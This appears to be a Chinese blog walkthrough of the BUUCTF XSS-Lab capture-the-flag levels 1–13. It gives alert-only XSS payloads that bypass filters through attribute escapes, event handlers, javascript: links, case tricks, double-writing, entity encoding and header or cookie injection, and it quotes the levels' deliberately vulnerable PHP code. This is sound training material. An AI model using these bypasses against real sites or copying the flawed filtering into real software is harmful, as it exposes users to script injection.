BUUCTF刷题 XSS-Lab

本文详细介绍了XSS跨站脚本攻击的多个层次,包括直接注入、闭合双引号、onclick事件、JavaScript伪协议、大小写绕过、双写标签过滤、ASCII编码绕过、必要字段+ASCII绕过、hidden参数传递和HTTP头部注入等场景,展示了攻击者如何构造Payload来绕过防御机制,同时也反映了网络安全中对XSS防护的重要性。
摘要由CSDN通过智能技术生成

level 1(直接注入)

观察URL,在参数name处上传JS代码进行测试,GET传参,出现弹窗。

Payload:<script>alert('xss')</script>

 level 2(闭合双引号注入)

直接插入level 1中的JS代码<script>alert("XSS")</script>,并没有出现弹窗,通过右键查看网页源代码,发现我们输入的JS代码在双引号内,因此需要通过闭合双引号进行绕过。

Payload:"><script>alert('xss')</script><"

 level 3 (onclick单引号绕过)

直接插入level 1的JS代码<script>alert("XSS")</script>,没有出现弹窗,通过查看网页源代码,发现我们插入的JS代码依旧被转义了,可以通过onclick函数可以绕过,可以理解为:不再生成JS代码,而是直接变成一个点击事件,这里还要注意要用单引号进行闭合。Payload:' onclick ='javascript:alert(1)'//,点击搜索框跳出弹窗。

 level 4(onclick双引号绕过)

level 3相似,都是输入的JS代码被转义,也可以通过onclick函数进行绕过,只不过这一关是双引号闭合,Payload:" onclick ='javascript:alert("XSS")'//,点击搜索框跳出弹窗。

level 5(JavaScript伪协议)

1、直接插入level 1中的JS代码<script>alert("XSS")</script>,未出现弹窗,右键查看源代码,发现将原本的<script>变成了<scr_ipt>

2、插入level 4中的payload" onclick ='javascript:alert("XSS")'//,也是未出现弹窗,右键查看源代码,发现原本的onclick变成了o_nclick

3、考虑可以构造一个Payload闭合原有标签,重新创建一个新的标签a,在标签a引用script 超链接调用弹窗。Payload:"><a href="javascript:alert("XSS")">link</a>,最后点击一下link,就会跳出弹窗。

 level 6(JavaScript伪协议+大小写绕过)

这一关主要是利用了HTML对大小写不敏感进行绕过。

1、直接插入level 1中的JS代码<script>alert("XSS")</script>,未出现弹窗,右键查看源代码, 发现将原本的<script>变成了<scr_ipt>,这里与level 5有些相似。

2、我们插入level 5中植入的代码"><a href="javascript:alert("XSS")">link</a>,发现并未出现弹窗,再次右键查看源代码,发现href变成了hr_ef,这里我们考虑大小写绕过,

Payload:"><a Href="javascript:alert(1),最后随意点击一处空白就可以出现弹窗。

其他方式:

我这里也试了一下,双引号闭合+大小写绕过,也是会出现弹窗的,答案不唯一,payload:"><scRipt>alert("XSS")</script>

 level 7(双写绕过标签过滤)

1、植入level 1中的JS代码<script>alert("XSS")></script>,未出现弹窗,右键查看源代码,发现script被过滤了

2、通过查看文件的源码,发现通过代码层对我们输入的内容进行了一套循环过滤。

文件源代码:
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]); //strtolower函数将获取到的参数全部转化为小写
$str2=str_replace("script","",$str); //过滤了script
$str3=str_replace("on","",$str2); //过滤了on
$str4=str_replace("src","",$str3); //过滤了src
$str5=str_replace("data","",$str4); //过滤了data
$str6=str_replace("href","",$str5); //过滤了href
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

3、考虑双写+闭合双引号进行绕过,Payload:"><scscriptript>alert("XSS")</scscriptript>,随意点击空白处出现弹窗。

 level 8(ASCII编码绕过)

1、插入level 7中的JS代码"><scscriptript>alert("XSS")</scscriptript>,未出现弹窗,右键查看源代码,发现做了转义符替换和过滤处理。

2、查看文件源代码。

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">  
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';  //这里可以利用
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

3、考虑可以使用html实体编码绕过

 HTML字符实体转换网站

将字符javascript:alert(1)转化为实体。

  payload:&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

level 9 (必要字段+ASCII绕过)

1、将level 8中的代码javascript:alert(1)写入后,未出现弹窗,右键查看源代码,发现提示连接不合法。

2、查看源代码。

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

这里补充一下strpos()函数

strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

这里多了一行代码 if(false===strpos($str7,'http://')),这里是检测传入的字符有没有http://,如果没有这个字符就会返回“您的连接不合法?有没有!“,所以我们将alert中加上这个字符就可以绕过了。payload:&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;('http://')

level 10 (hidden参数传递数据)

1、插入level 1中的代码<script>alert("XSS")</script>,未出现弹窗,右键查看源代码,发现<和>被转义

2、查看文件源代码 ,代码中对t_sort参数进行了两次过滤,考虑这里为注入点。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里补充一下Hidden :

Hidden 对象代表一个 HTML 表单中的某个隐藏输入域。

这种类型的输入元素实际上是隐藏的。这个不可见的表单元素的 value 属性保存了一个要提交给 Web 服务器的任意字符串。如果想要提交并非用户直接输入的数据的话,就是用这种类型的元素。

onmouseover 事件:

onmouseover 事件会在鼠标指针移动到指定的元素上时发生。

这里提供两种注入方式

一、绑定onmouseover 事件,需要注意的是,代码中的type="hidden",这个属性会隐藏表单,这样我们就找不到要点击的地方了,这里需要我们手动添加type,paylosd:t_sort=" onmouseover='alert("XSS")' type="text,这里需要鼠标移过去来触发弹窗。

二、绑定onclick事件,与前面不同的是,这里需要点击鼠标才会触发弹窗。payload:t_sort=" onclick='alert("XSS")' type="text

 level 11 (REFERER头注入)

1、插入level 1中的代码<script>alert("XSS")</script>,未出现弹窗,右键查看源代码,发现<和>被转义

 2、查看文件源代码。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

通过代码,可以看到t_sort被htmlspecialchars函数转义了。$str33只是过滤了><,可以将这里作为注入点,只需要携带一个注入的语句访问网站就可以了。Payload:"onclick='alert("XSS")' type="text

level 12(USER_AGENT注入)

1、右键查看源代码。

2、查看文件源代码。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

与level 11相似,这里注入点是USER_AGENT,Payload:" onclick='alert(1)' type="text

level 13 (COOKIE注入)

 1、右键查看源代码,猜测是cookie注入。

2、Payload:user=" onclick='alert(1)' type="text

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小谷要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值